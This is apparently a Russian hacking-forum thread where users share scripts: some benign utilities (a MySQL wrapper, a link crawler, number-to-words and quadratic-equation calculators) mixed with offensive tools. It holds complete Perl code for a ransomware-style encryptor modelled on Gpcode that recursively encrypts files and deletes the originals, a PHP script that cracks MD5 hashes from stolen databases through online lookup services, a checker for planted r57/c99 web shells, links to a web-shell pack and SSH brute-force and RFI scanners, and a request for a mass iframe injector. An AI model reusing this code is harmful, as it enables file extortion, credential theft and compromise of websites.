Коллекция из 138 шелов: http://rapidshare.com/files/82050926/138Shells.zip На вирус тотале 29 из 33 антивирусов показали true ))) http://www.virustotal.com/analisis/95029739037a9ccbb47c53355171c36f на ваш страх и риск.
мой скриптик для работы с бд.. элементарный, но может будет полезным.. как пользоваться извиняюсь за то что не пользуюсь тегом ПХП.. он глючит чегото.. <?php /** * bmDataBase * * @copyright 2008 slik * @license http://www.gnu.org/licenses/gpl.html GNU General Public License * @version $Id: ver 0.02 Wed Jul 02 17:05:06 UTC 2008 $ * @link http://dev.bmengine.net * @author slik <[email protected]> */ // defines define("BM_DB_TRANSACTION_START", 1); define("BM_DB_TRANSACTION_END", 2); define("BM_DB_TRANSACTION_RESET", 3); define("BM_DB_SKIP", log(0)); define("BM_DB_RETURN_RESOURCE", 0); define("BM_DB_RETURN_ARRAY", 1); define("BM_DB_RETURN_LASTID", 2); define("BM_DB_RETURN_ASSOCARRAY", 3); define("BM_DB_RETURN_BOOL", 4); class bmDataBase { private $ident_prefix = ""; private $link = null; private $last_error; private $logging = true; private $query_logs; private $statistics; private $declimer_main = '#'; private $declimer_right = '}}'; private $declimer_left = '{{'; static private $instance = null; /** * Create the only object of this class * * @return bmDataBase */ static public function getInstance() { if (is_null(self::$instance)) self::$instance = new bmDataBase(); return self::$instance; } /** * private methods */ private function __construct() { $this->query_logs = array(); $this->statistics = array(); $this->statistics['queries_count'] = 0; } private function __clone() {} /** * Connect to database using dns syntax * mysql://userassword@hostort/database_name ... * or array * array ( * 'scheme' = > 'mysql', // only MySQL supported * 'host' => 'host', * 'port' => 'port', // if need * 'user' => 'user', * 'pass' => 'password', * 'path' => 'database_name', * 'ident_prefix' => 'ident_prefix' // if need (can use bmDataBase::setIdentPrefix) * 'declimer_main' => 'declimer_main' // if need (can use bmDataBase::setMainDeclimer) * 'declimer_left' => 'declimer_left' // if need (can use bmDataBase::setLeftDeclimer) * 'declimer_right' => 'declimer_right' // if need (can use bmDataBase::setRightDeclimer) * ) * * @param string|array $dsn * @return bool */ public function connect($dsn) { // Load database driver and create its instance. $parsed = $this->parseDSN($dsn); if (!$parsed) return $this->_setLastError(-1, "Can't parse DNS string", "bmDataBase::connect"); // try to set ident prefix if (isset($parsed['ident_prefix'])) $this->setIdentPrefix($parsed['ident_prefix']); // try to set main declimer if (isset($parsed['declimer_main'])) $this->setMainDeclimer($parsed['declimer_main']); // try to set left declimer if (isset($parsed['declimer_left'])) $this->setLeftDeclimer($parsed['declimer_left']); // try to set right declimer if (isset($parsed['declimer_right'])) $this->setRightDeclimer($parsed['declimer_right']); if (!is_callable('mysql_connect')) return $this->_setLastError(-1, "MySQL extension is not loaded", "mysql_connect"); $ok = $this->link = @mysql_connect( $parsed['host'].(empty($parsed['port'])? "" : ":".$parsed['port']), $parsed['user'], $parsed['pass'], true ); $this->_resetLastError(); if (!$ok) return $this->_setLastError(-1, "Can't connect to database", "mysql_connect"); $parsed['path'] = strtr($parsed['path'], array('/' => '')); $ok = @mysql_select_db($parsed['path'], $this->link); if (!$ok) return $this->_setLastError(-1, "Can't select database '{$parsed['path']}'", "mysql_select_db"); return true; } /** * parseDSN(mixed $dsn) * Parse a data source name. * See parse_url() for details. * * @return array */ protected function parseDSN($dsn) { // if argument is array if (is_array($dsn)) { if (array_key_exists('scheme', $dsn) && array_key_exists('host', $dsn) && array_key_exists('user', $dsn) && array_key_exists('pass', $dsn) && array_key_exists('path', $dsn)) return $dsn; else return null; } // if argument is string $parsed = @parse_url(strval($dsn)); // argument empty.. if (!$parsed) return null; // if used params $params = null; if (!empty($parsed['query'])) { parse_str($parsed['query'], $params); $parsed += $params; } // save dns string $parsed['dsn'] = $dsn; return $parsed; } /** * set prefix for #_ * * @param unknown_type $prefix */ public function setIdentPrefix($prefix) { $this->ident_prefix = strval($prefix); } /** * set main declimer (default '#') * * @param string(1) $declimer */ public function setMainDeclimer($declimer) { $tmp = strval($declimer); $this->declimer_main = $tmp[0]; } /** * set right declimer (default '{{') * * @param string(2) $declimer */ public function setRightDeclimer($declimer) { $this->declimer_right = substr(strval($declimer), 0, 2); } /** * set left declimer (default '}}') * * @param string(2) $declimer */ public function setLeftDeclimer($declimer) { $this->declimer_right = substr(strval($declimer), 0, 2); } /** * log sql queryes ? * * @param bool $log_it */ public function setLogging($log_it) { $this->logging = intval($log_it); } /** * Return last error info * * @return array */ public function getLastError() { return $this->last_error; } /** * return statistics * * @return array */ public function getStatistics() { return $this->statistics; } /** * sql query using placeholders: * * #s - string: string * #i - identificator: `indent`[, ...] * #v - value 'value'[, ...] * #a - assotiative array `key` = 'value'[, ...] * #d - integer 10 * #f - float 0.0 * #n - string, but if empty, if 0 or if null, sets to NULL * #_ - identification index for tables * * @param sting $sql[, ...] * @return array */ public function query($sql) { $this->_resetLastError(); $args = func_get_args(); $sql = $this->_parseSql($args); return $this->_query($sql, BM_DB_RETURN_RESOURCE); } /** * return generated sql query * * @param string $sql[, ...] * @return string */ public function query_debug($sql) { $args = func_get_args(); return $this->_parseSql($args); } /** * sql query using placeholders (see bmDataBase::query) * * @param string $sql[, ...] * @return int (last id) */ public function insert($sql) { $this->_resetLastError(); $args = func_get_args(); $sql = $this->_parseSql($args); return $this->_query($sql, BM_DB_RETURN_LASTID); } /** * sql query using placeholders (see bmDataBase::query) * * @param string $sql[, ...] * @return array */ public function select($sql) { $this->_resetLastError(); $args = func_get_args(); $sql = $this->_parseSql($args); return $this->_query($sql, BM_DB_RETURN_ARRAY); } public function update($sql) { $this->_resetLastError(); $args = func_get_args(); $sql = $this->_parseSql($args); return $this->_query($sql, BM_DB_RETURN_BOOL); } /** * sql query using placeholders (see bmDataBase::query) * * @param string $sql[, ...] * @return assoc array */ public function selectRow($sql) { $this->_resetLastError(); $args = func_get_args(); $sql = $this->_parseSql($args); return $this->_query($sql, BM_DB_RETURN_ASSOCARRAY); } /** * you can use transactions * actions: * BM_DB_TRANSACTION_START - start transaction * BM_DB_TRANSACTION_END - stop transaction (commit) * BM_DB_TRANSACTION_RESET - reset transaction (rollback) * @param int $action */ public function transaction($action) { switch ($action) { case BM_DB_TRANSACTION_START: $this->query("BEGIN"); break; case BM_DB_TRANSACTION_END: $this->query("COMMIT"); break; case BM_DB_TRANSACTION_RESET: $this->query("ROLLBACK"); break; } } protected function _setLastError($code, $msg, $query) { $info = array(); $context = ""; if (is_callable('debug_backtrace')) { $trace = debug_backtrace(); $context = empty($trace[1]['class'])? $trace[1]['function']: $trace[1]['class']."::".$trace[1]['function']; $info['file'] = $trace[1]['file']; $info['line'] = $trace[1]['line']; $info['function'] = $trace[2]['function']; $info['class'] = $trace[2]['class']; } $this->last_error = array('code' => $code, 'message' => $msg, 'query' => $query, 'context' => $context, 'info' => $info); return false; } protected function _resetLastError() { $this->last_error = array(); } protected function _logQuery($query) { if($this->logging) $this->query_logs[] = $query; } protected function _escape($str, $is_ident = false) { if($is_ident) return "`".str_replace("`", "``", strval($str))."`"; elseif(is_null($str)) return 'NULL'; else return "'".mysql_real_escape_string(strval($str), $this->link)."'"; } protected function _parseMacroses($sql) { $start = 0; $macroses = array(); $macroses['placeholders'] = array(); $i = 0; $p = 1; while (($pos = strpos($sql, $this->declimer_left, $start)) !== false) { $macroses[$i]['begin'] = $pos; $macroses[$i]['end'] = strpos($sql, $this->declimer_right, $pos+2) + 2; $macroses[$i]['macros'] = substr($sql, $macroses[$i]['begin'], $macroses[$i]['end']-$macroses[$i]['begin']); $chars = count_chars(substr($sql, $start, $macroses[$i]['begin']-$start), 0); $macroses[$i]['placeholders_start'] = $chars[ord($this->declimer_main)]; $chars = count_chars($macroses[$i]['macros'], 0); $macroses[$i]['placeholders_count'] = $chars[ord($this->declimer_main)]; $p += $macroses[$i]['placeholders_start']; for ($j=0; $j<$macroses[$i]['placeholders_count']; $j++) $macroses['placeholders'][$p++] = $i; $start = $macroses[$i]['end']; $i++; } return $macroses; } protected function _parseSql($args) { trim($args[0]); // #_ $args[0] = strtr($args[0], array($this->declimer_main.'_' => $this->ident_prefix)); if(count($args) > 1) { $skip = array(); $macroses = $this->_parseMacroses($args[0]); for($i=1, $cnt=count($args); $i<$cnt; $i++) { if($args[$i] === BM_DB_SKIP) { $skip[$macroses[$macroses['placeholders'][$i]]['macros']] = ""; foreach ($macroses['placeholders'] as $key => $val) { if($val == $macroses['placeholders'][$i]) { unset($args[$key]); } } } } $args = array_values($args); $skip[$this->declimer_left] = " "; $skip[$this->declimer_right] = " "; $args[0] = strtr($args[0], $skip); $sql = explode($this->declimer_main, $args[0]); $main_sql = $sql[0]; for ($i=1, $cnt=count($sql); $i<$cnt; $i++) { $type = $sql[$i][0]; $sql[$i] = substr($sql[$i], 1); if(!isset($args[$i])) $args[$i] = null; switch ($type) { case 's': // ------------------------------------- $main_sql .= strval($args[$i]); break; case 'i': // ------------------------------------- if (is_null($args[$i])) return $this->_setLastError(-1, "Placeholder '#i' can't be 'NULL'", 'bmDataBase::query'); elseif (is_array($args[$i])) { foreach ($args[$i] as $val) $main_sql .= $this->_escape($val, true).", "; $main_sql = substr($main_sql, 0, -2); } else $main_sql .= $this->_escape($args[$i], true); break; case 'v': // ------------------------------------- if (is_array($args[$i])) { foreach ($args[$i] as $val) $main_sql .= $this->_escape($val).", "; $main_sql = substr($main_sql, 0, -2); } else $main_sql .= $this->_escape($args[$i]); break; case 'a': // ------------------------------------- if(is_array($args[$i])) { foreach ($args[$i] as $key => $val) $main_sql .= $this->_escape($key, true)." = ".$this->_escape($val).", "; $main_sql = substr($main_sql, 0, -2); } else return $this->_setLastError(-1, "Placeholder '#a' must be array", "bmDataBase::query"); break; /* case '_': // ------------------------------------- $main_sql .= $this->ident_prefix; array_unshift($args, 0); break;*/ case 'd': // ------------------------------------- if (is_null($args[$i])) $main_sql .= 'NULL'; else $main_sql .= intval($args[$i]); break; case 'f': // ------------------------------------- if (is_null($args[$i])) $main_sql .= 'NULL'; else $main_sql .= floatval($args[$i]); break; case 'n': // ------------------------------------- if(empty($args[$i]) || is_null($args[$i]) || $args[$i] == 0) $main_sql .= 'NULL'; else $main_sql .= $this->_escape($args[$i]); break; default: // ------------------------------------- return $this->_setLastError(-1, "Unknown placeholder type '#".$type."'", 'bmDataBase::query'); break; } $main_sql .= $sql[$i]; } if(isset($args[$i+1])) $main_sql .= $sql[$i+1]; } else $main_sql = $args[0]; return $main_sql; } protected function _query($sql, $return_as) { // sql query $resource = @mysql_query($sql); $this->statistics['queries_count']++; if(!$resource) return $this->_setLastError(mysql_errno($this->link), mysql_error($this->link), $main_sql); // parse resources switch ($return_as) { case BM_DB_RETURN_RESOURCE: $return_val = $resource; break; case BM_DB_RETURN_ARRAY: $return_val = array(); while ($row = @mysql_fetch_assoc($resource)) $return_val[] = $row; break; case BM_DB_RETURN_LASTID: $return_val = @mysql_insert_id($this->link); break; case BM_DB_RETURN_ASSOCARRAY: $return_val = @mysql_fetch_assoc($resource); break; case BM_DB_RETURN_BOOL: $return_val = true; break; } $this->statistics['affected_rows'] = mysql_affected_rows($this->link); return $return_val; } } ?>
Rc4+rsa шифровщик/дешифровщик По мотивам сообщений о вирусе Gpcode. Не вирус, естественно, обычный шифровщик файлов, просто заинтересовался крипт-модулями в перле. Состоит из трех скриптов: 1. генератор ключей (сохраняются в отдельном каталоге, эти ключи также можно встроить в сам код). 2. собственно шифровщик файлов - сами файлы шифруются алгоритмом RC4 (ключ генерится рандомно), формируется список "файл - RC4-ключ", каждая пара разделена табулятором. После шифрования файлов список шифруется открытым ключом RSA, сгенеренным первым скриптом. Закриптованные файлы сохраняются в том же каталоге, что и оригиналы, к их именам добавляется ._CRYPT (хе-хе). Исходный файл удаляется. 3. дешифровщик файлов - дешифрует сначала список файлов и ключей, используя закрытый ключ RSA, затем сами файлы. 1. Генератор ключей Code: #!/usr/bin/perl use strict; use warnings; use diagnostics; use Crypt::RSA; sub myexit ($); my $rsa = Crypt::RSA->new (); my ($public, $private) = $rsa->keygen ( 'Identity' => '[email protected]', 'Size' => 1024, 'Password' => 'Are you really thinking that you can hack my password phrase, eh?', 'Verbosity' => 1, 'Filename' => '/home/user/rsakeys/mykey', # в каталоге /home/user/rsakeys получим пару ключей mykey.public и mykey.private ) or myexit 'RSA keygen error: ' . $rsa->errstr, -1; exit 0; sub myexit ($$) { my ($msg, $code) = @_; print $msg, "\n"; exit $code; } 2. Шифровщик Code: #!/usr/bin/perl use strict; use warnings; use diagnostics; use Crypt::RC4; use Crypt::RSA; sub tree ($); sub encrypt_file ($); sub encrypt_list (); sub myexit ($$); tree './directory'; # Указываем путь к каталогу, обходим его рекурсивно encrypt_list (); exit 0; # Генерируем парольную фразу для RC4 sub genphrase () { my (@chars, $charlen, $passlen, $passphrase, $i); @chars = qw (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9); $charlen = scalar @chars; $passlen = 10; for $i (0 .. $passlen - 1) { $passphrase .= $chars[int (rand ($charlen - 1))]; } return $passphrase; } # Шифруем файл алгоритмом RC4 sub encrypt_file ($) { my $fname = shift; my ($F, $content, $rdeny, $wdeny, $rc4key, $rc4, $listfile); #print 'Starting encryption: ', $fname, "\n"; $listfile = '_!_list_!_.txt'; # список пар "имя файла - RC4-ключ" $rc4key = genphrase (); #print $fname, "\t", $rc4key, "\n"; $rc4 = Crypt::RC4->new ($rc4key); open $F, '<', $fname or $rdeny = 1; unless ($rdeny) { $content .= $_ while <$F>; close $F; $content = $rc4->RC4 ($content); open $F, '>', $fname . '._CRYPT' or $wdeny = 1; unless ($wdeny) { binmode $F; print $F $content; close $F; open $F, '>>', $listfile; print $F $fname, "\t", $rc4key, "\n"; close $F; unlink $fname; } #print "Encryption complete\n"; } return 0; } # Шифруем фай-список открытым ключом RSA sub encrypt_list () { my ($rsa, $public, $F, $content, $listfile); $rsa = Crypt::RSA->new (); # два варианта использования ключа - брать из файла или внедрять прямо в код # $public = Crypt::RSA::Key::Public ('Filename' => '/home/user/rsakeys/mykey.public'); $public = bless ( { 'e' => 65537, 'n' => 'тута_очень_многа_цифер ))', 'Version' => '1.97', 'Identity' => '[email protected]' }, 'Crypt::RSA::Key::Public' ); $listfile = '_!_list_!_.txt'; open $F, '<', $listfile; $content .= $_ while <$F>; close $F; $content = $rsa->encrypt ( 'Message' => $content, 'Key' => $public, 'Armour' => 0, ); open $F, '>', $listfile . '.new'; binmode $F; print $F $content; close $F; unlink $listfile; rename $listfile . '.new', $listfile; return 0; } # Обход каталога рекурсивно sub tree ($) { my $dirname = shift; my ($DIR, $fullpath, @files, $file, $deny); opendir $DIR, $dirname or $deny = 1;#myexit 'opendir() error: ' . $!, -1; unless ($deny) { @files = readdir $DIR; foreach $file (@files) { next if $file eq '.' || $file eq '..'; $fullpath = $dirname . '/' . $file; if (-d $fullpath) { #print "$fullpath - directory\n"; tree $fullpath; } elsif (-f $fullpath) { encrypt_file $fullpath if $fullpath =~ /\.txt$/; # обрабатываем тока *.txt файлы } } closedir $DIR; } } sub myexit ($$) { my ($msg, $code) = @_; print $msg, "\n"; exit $code; } 3. Декриптор файлов Code: #!/usr/bin/perl use strict; use warnings; use diagnostics; use Crypt::RSA; use Crypt::RC4; sub decode_list ($); sub decode_files ($); sub myexit ($$); my $content = decode_list '_!_list_!_.txt'; decode_files $content; # Дешифруем список файлов и ключей закрытым ключом RSA sub decode_list ($) { my $listname = shift; my ($content, $F, $rsa, $private); open $F, '<', $listname or myexit 'list file open error: ' . $!, -1; binmode $F; $content .= $_ while <$F>; close $F; $rsa = Crypt::RSA->new () or myexit 'RSA init error: ' . Crypt::RSA->errstr, -1; $private = Crypt::RSA::Key::Private->new ( # юзаем приватный ключ из внешнего файла 'Filename' => '/home/isn/rsakeys/krypt3r.private', 'Password' => 'Are you really thinking that you can hack my password phrase, eh?', # не забываем парольную фразу ); $content = $rsa->decrypt ( 'Cyphertext' => $content, 'Key' => $private, 'Armour' => 0, ) or myexit 'RSA decripting error: ' . $rsa->errstr, -1; return $content; } # парсим расшифрованный список и затем расшифровываем файлы # криптованные файлы удаляем sub decode_files ($) { my $content = shift; my (@lines, $line, $fname, $newfname, $rc4key, $rc4, $F, $cnt); @lines = split /\n/, $content; foreach $line (@lines) { ($fname, $rc4key) = split /\t/, $line; $rc4 = Crypt::RC4->new ($rc4key); undef $cnt; open $F, '<', $fname . '._CRYPT' or myexit 'encrypted file open error:' . $!, -1; $cnt .= $_ while <$F>; close $F; $cnt = $rc4->RC4 ($cnt); open $F, '>', $fname or myexit 'plaintext file open error: ' . $!, -1; print $F $cnt; close $F; unlink $fname . '._CRYPT'; } } sub myexit ($$) { my ($msg, $code) = @_; print $msg, "\n"; exit $code; } Тестилось под линуксом. Требуются модули Crypt::RSA и Crypt::RC4. Доводить до ума уже лень =) Может, кто-нить заюзает.
Аналоговые, следящие за скроллингом часы Аналоговые, следящие за скроллингом часы Скрипт поместите между <HEAD> и </HEAD>
Яваскрипт Вот еще правда не знаю чем вызвано. Попробуйте врубить в ИЕ. комп от перезагрузки страницы может повиснуть. HTML: <html> <head> </head> <body> <form onSubmit=alert()> </form> <script>document.forms[0].submit()</script> </body> </html>
Скрипт хавает БД, вытягивает оттуда хэши, проверяет их на сервисе онлайн проверок и складывает по файликам(Найденное, ненайденное) Если у кого очень слабая машина или по каким другим причинам пасс про и подобные проги юзать нет возможности, да еще и подождать могут, надеюсь те оценят скрипт... Медленный он из-за задержек после каждого 10го хэша, я бороться с этим уже устал поэтому выложу тут, вдруг кому пригодится или под себя поправит. Версия для md5.xek.cc (предпочтительна) PHP: <?php if ($argc<4) { echo '========================================================================='."\n"; echo '========================================================================='."\n"; echo "Usage: $argv[0] <database> <found> <not_found>\n\n\n"; echo 'Where database.txt - path to database with'." ':' ".'separator,'."\n".'found.txt - path to file, where you will see found hashes,'."\n"; echo 'not_found.txt - path to file with hashes not found in md5.xek.cc database.'."\n"; echo '========================================================================='."\n"; echo '========================================================================='."\n"; die; } $id = 0; $filename = "$argv[1]"; $filename2 = "$argv[2]"; $filename3 = "$argv[3]"; $of2 = fopen($filename2,"w+"); $of3 = fopen($filename3,"w+"); $all = count(file($filename)); echo " Database contains $all entries\n\n"; function post($data) { $buf = ''; $fp = @fsockopen('md5.xek.cc',80); if ($fp) { fputs($fp, 'POST /index.php HTTP/1.1'."\n"); fputs($fp, 'Host: md5.xek.cc'."\n"); fputs($fp, 'Content-type: application/x-www-form-urlencoded'."\n"); fputs($fp, 'Content-length: ' . strlen($data) . "\n"); fputs($fp, 'User-Agent: PHP Script'."\n"); fputs($fp, 'Connection: close'."\n\n"); fputs($fp, $data); while(!feof($fp)) $buf .= fread($fp,2048); preg_replace('/\W[b]\W[\n][0-9]{6}\W\W[b]\W/','',$buf); fclose($fp); return $buf; } else{ return 'Server is not responding!'; } } $content = join('',file($filename)); $fcontent = preg_replace("/\n/",":",$content); preg_match_all('/[0-9a-z]{32}/',$fcontent, $whatfound); while (@$whatfound[0][$id] != '') { $hash = $whatfound[0][$id]; $page = post("hash=$hash&act=find"); if (preg_match('/\W[b]\W(.{3,30})\W\W[b]\W/',$page,$matches)) { $pass = $matches[1]; fputs($of2,"$id : $pass\n"); $status = '+'; } else { fputs($of3,"$id : $hash\n"); $status = ''; } $id += 1; $checked = count(file($filename2)) + count(file($filename3)); echo " $checked$status\n"; } @fclose($of1); @fclose($of2); @fclose($of3); echo ' Done!'."\n"; $found = count(file($filename2)); echo ' ++++++++++++++++++++++++++'."\n"; echo " $found of $all hashes found!"."\n"; echo ' ++++++++++++++++++++++++++'."\n\n"; ?> Версия для hashkiller.com PHP: <?php if ($argc<4) { echo '========================================================================='."\n"; echo '========================================================================='."\n"; echo "Usage: $argv[0] <database> <found> <not_found>\n\n\n"; echo 'Where database.txt - path to database'."\n".'found.txt - path to file, where you will see found hashes,'."\n"; echo 'not_found.txt - path to file with hashes not found in hashkiller.com database.'."\n"; echo '========================================================================='."\n"; echo '========================================================================='."\n"; die; } $id = 0; $filename = "$argv[1]"; $filename2 = "$argv[2]"; $filename3 = "$argv[3]"; $of2 = fopen($filename2,"w+"); $of3 = fopen($filename3,"w+"); $all = count(file($filename)); echo " Database contains $all entries\n\n"; function post($data) { $buf = ''; $fp = @fsockopen('hashkiller.com',80); if ($fp) { fputs($fp, 'POST /crack/ HTTP/1.1'."\n"); fputs($fp, 'Host: hashkiller.com."\n"); fputs($fp, 'Content-type: application/x-www-form-urlencoded'."\n"); fputs($fp, 'Content-length: ' . strlen($data) . "\n"); fputs($fp, 'User-Agent: PHP Script'."\n"); fputs($fp, 'Connection: close'."\n\n"); fputs($fp, $data); while(!feof($fp)) $buf .= fread($fp,2048); fclose($fp); return $buf; } else{ return 'Server is not responding!'; } } $content = join('',file($filename)); $fcontent = preg_replace("/\n/",":",$content); preg_match_all('/[0-9a-z]{32}/',$fcontent, $whatfound); #Ищем все хэши в базе while (@$whatfound[0][$id] != '') { $hash = $whatfound[0][$id]; $page = post("md5_crack=;$hash&submit=Crack"); #Отправляем наш хэш if (preg_match('/\w\w\w\w\W\W\W[a-z]{10}\W[a-z]{3}\W[a-z]{8}\W(.*)/',$page,$matches)) { $pass = $matches[1]; fputs($of2,"$id : $pass\n"); $status = '+'; } else { fputs($of3,"$id : $hash\n"); $status = ''; } $id += 1; $checked = count(file($filename2)) + count(file($filename3)); echo " $checked$status\n"; } @fclose($of1); @fclose($of2); @fclose($of3); echo ' Done!'."\n"; $found = count(file($filename2)); echo ' ++++++++++++++++++++++++++'."\n"; echo " $found of $all hashes found!"."\n"; echo ' ++++++++++++++++++++++++++'."\n\n"; ?> Можно и на многие многи другие сервисы переписать но вот нужно ли? ЗЫ Чтобы все было в виде pass;mail юзайте ворд и эксель... Просто заменяйте разделителль на табуляцию, пихаете в эксель, сортируете по номеру ну а дальше разберетесь=) EDIT: Упс, проморгал что сокет на версии для хэшкиллера конектился к мд5.хек.сс=)) С регекспом во второй версии какойто ужас.... Чет мне кажется пхп тег буянит
Проверка шелов Когда то, давным давно, нужно было проверить пачку шелов на работоспособность и определить их тип, и был накатан такой не большой скриптик PHP: <?php if(function_exists('ini_set')) { ini_set('ignore_user_abort ',1); ini_set ( 'max_execution_time', 999999999999 ); } if(function_exists('ini_alter')) { ini_alter('ignore_user_abort ',1); ini_alter ( 'max_execution_time', 999999999999 ); } if(function_exists('ignore_user_abort') && function_exists('set_time_limit')) { ignore_user_abort(1); set_time_limit(0); } $shell_txt = explode("\n",file_get_contents('shell.txt')); $shell_count = count($shell_txt); $shell_array = array(); function cheak_shell ($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLE_OPERATION_TIMEOUTED, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result_curl = curl_exec($ch); curl_close($ch); $result_curl = str_replace(array("\r","\n","\t"),' ',$result_curl); if(strstr($result_curl,'r57shell')) { $url_good = '+ '. $url . " r57shell \n"; } elseif(strstr($result_curl,'c99madshell')) { $url_good = '+ '.$url . " c99madshell \n"; } return $url_good; } for($i=0;$i<$shell_count;$i++) { if (!in_array ( $shell_txt[$i], $shell_array)) { $shell_array[] = $shell_txt[$i]; $url_good .= cheak_shell($shell_txt[$i]); } } file_put_contents ('good_shells.txt', $url_good."END");
Атак на ssh Пара скриптов бРУТ SSH на python тестил работают прекрасно. )) http://zerolab.ru/news/ataka-na-ssh-podborka-skriptov-dlya-bruteforcer.html
Красивые динамические надписи Демки смотрим здесь: http://www.pinchpoke.com Скрипты бесплатно (!) льём отсюда или с сайта производителя
Можете написать, кому не трудно скрипт для вставки кода во все файлы php/html/asp и т.д. на всем сервере? Ну айфреймер. Сколько не искал есть только по фтп, а по веб нету.
DorkScan v1.0 - Python RFI Scanner DorkScan v1.0 это не большой и быстрый drok сканнер на python. Сканирует сайт по списку дороков на предмет уязвимостей RFI тестировался на Debian, Работает прекрасно. http://zerolab.ru/news/dorkscan-v10-python-rfi-scanner.html#more-29
Перезалил PHP Unzipper v1.1! http://forum.antichat.ru/showpost.php?p=685027&postcount=357 Пользуйтесь.
Вобщем уже писал скрипт, который получает все ссылки с сайта, но он не всё получал, что надо. Вот исправленная версия Code: <?php $site = 'http://localhost/'; $mode = 2; // 1 = Использовать функцию file_get_contents, 2 = Использовать сокеты foreach(get_urls($site) as $url) { echo '<a href="'.$url.'">'.$url.'</a><br>'."\n"; } @set_time_limit(0); @ini_set('max_execution_time', 0); function get($action) { $url = parse_url($action); $fp = fsockopen($url['host'], 80, $errno, $errstr, 30); if(!$fp) { return false; } else { fputs($fp, 'GET '.$action.' HTTP/1.0'."\r\n". 'Host: '.$url['host']."\r\n". 'Referer: '.$url['scheme'].'://'.$url['host'].$url['path']."\r\n\r\n"); $result = ''; while(!feof($fp)) { $result .= fgets($fp, 128); } fclose($fp); return $result; } } function my_sort($array) { $new_array = array(); foreach($array as $value) { $new_array[] = $value; } return $new_array; } function JoinToSite($url, $site) { $domain = parse_url($site); $domain = $domain['scheme'].'://'.$domain['host']; if($url{0} == '/') { $link = $domain.$url; } else if(preg_match('~^http(s)?:~i', $url)) { if(parse_url($url, PHP_URL_HOST) == parse_url($site, PHP_URL_HOST)) { $link = $url; } } else { if(!preg_match('~^(ftp(s)?|javascript|mailto):~i', $url)) { $dirname = ''; $explode = explode('/', parse_url($site, PHP_URL_PATH)); foreach($explode as $i => $dir) { if($dir && $i != (count($explode)-1)) { $dirname .= $dir.'/'; } } $link = $domain.'/'.$dirname.preg_replace('~(\A|/)\./~', '$1', $url); $regex = '~/(?!\.\./)[^\x2F]+/\.\./~'; while(preg_match($regex, $link)) { $link = preg_replace($regex, '/', $link); } } } return (isset($link) ? $link : false); } function GetAllUrlsFromUrl($url, $all_links) { global $mode; $first = (($mode == 1) ? @file_get_contents($url) : get($url)); preg_match_all('~<a[^>]+href[\x20]?=[\x20\x22\x27]?([^\x20\x22\x27\x3E]+)[\x20\x22\x27]?[^>]*>~i', $first, $second); $array_urls = array(); foreach($second[1] as $link) { $link = JoinToSite($link, $url); if($link !== false && !in_array($link, $all_links)) { $array_urls[] = $link; } } return ((count($array_urls) > 0) ? $array_urls : false); } function get_urls($url) { $old_links = array(); $new_links = array($url); while(true) { $url = $new_links[0]; $old_links[] = $url; array_shift($new_links); $get_urls = GetAllUrlsFromUrl($url, array_merge($old_links, $new_links)); if($get_urls) { $new_links = array_merge($get_urls, $new_links); } else { if(sizeof($new_links)==0) { break; } else { continue; } } } sort($old_links); return $old_links; } ?> Средний рез-тат сканирования 10 ссылок на localhost Code: С помощью file_get_contents 0.104 с. С помощью сокетов 0.098 с. Скрипт может работать медленно и долго. Используйте сокеты по мере возможности. Ещё раз предупреждаю! Не надо использовать этот скрипт для больших CMS, форумов и т.п.! Вы нагружаете не только сервер, на котором находится скрипт, но и сайт, который сканируете!
недавно возникла необходимость организовать преобразование вводимого пользователем числа в текст. реализовал в виде класса: PHP: <?php echo '<form action="num2txt.php" method="post">'; echo '<input type="text" name="a"/'>; echo '<input type="submit" value="->"/>'; echo '</form>'; class Num2Txt { var $nbr, $names, $x, $razryad; function __construct() { if(is_numeric($_POST[a])) $this->nbr = $_POST[a]; else echo 'вводить только целые числа'; $this->names= array(array("","",""," десять"),array(" один","надцать"," сто"," одинадцать"),array(" два"," двадцать"," двести"," двенадцать"),array(" три"," тридцать"," триста"," тринадцать"),array(" четыре"," сорок"," четыреста"," четырнадцать"),array(" пять"," пятьдесят"," пятьсот"," пятнадцать"),array(" шесть"," шестьдесят"," шестьсот"," шестнадцать"),array(" семь"," семьдесят"," семьсот"," семнадцать"),array(" восемь"," восемьдесят"," восемьсот"," восемнадцать"),array(" девять"," девяносто"," девятьсот"," девятнадцать")); $this->x = str_split($this->nbr); $this->razryad = array(""," тыс. "," млн. "," млрд. ", " трлн. "," квдрлн. "," квнтлн. "," скстлн. "," сптлн. "," октлн. "," ннлн. "," дцлн. "); } function show_nbr() { echo $this->nbr."<br>"; } function translate() { for($i = strlen($this->nbr) - 1 ; $i >= 0 ; $i--) { $jump = false; if($this->x[strlen($this->nbr) - 1 - $i] == 1 && $i%3 == 1) { echo $this->names[$this->x[strlen($this->nbr) - $i]][3]; echo $this->razryad[($i-1)/3]; $jump = true; } else echo $this->names[$this->x[strlen($this->nbr) - 1 - $i]][$i%3]; if($i%3==0 && ($this->x[strlen($this->nbr) - $i-1] != 0 || $this->x[strlen($this->nbr) - $i-2] != 0 || $this->x[strlen($this->nbr) - $i-3] != 0)) echo $this->razryad[$i/3]; if($jump) $i--; } } } $obj = new Num2Txt(); $obj->show_nbr(); $obj->translate(); ?>
вроде был раньше раздел "скрипты от скуки", чот не видно его запихну сюда, скрипт вычисляет корни квадратного уравнения, пример работы тут http://blood-ravens.ru/function.php вот код : PHP: <b>Вычисление корней квадратного уравнения:</b><br><br> <form method="POST"> введите значение a <input type="text" size="3" name="a" value=""><br><br> введите значение b <input type="text" size="3" name="b" value=""><br><br> введите значение c <input type="text" size="3" name="c" value=""><br><br> <input type="submit" value="вычислить"><br><br> </form> <? ################################## //////////writed by Korvin™/////// ///////////08.08.2008///////////// ////////All right reserved//////// ################################## function kvadratnoe_uravnenie($a,$b,$c) { $d = ($b*$b)-4*$a*$c; if ($d>0) { $x1 = (2*$a)/(-$b+sqrt($d)); $x2 = (2*$a)/(-$b-sqrt($d)); echo 'Уравнение имеет два корня: '.$x1.' и '.$x2; } if ($d==0) { $x = -$b/(2*$a); echo 'Уравнение имеет один корень: '.$x; } if ($d<0) { echo 'Вещественных корней нет.'; } } if ($_POST['a']>0 && $_POST['b']>0 && $_POST['c']>0) { kvadratnoe_uravnenie($_POST['a'],$_POST['b'],$_POST['c']); } 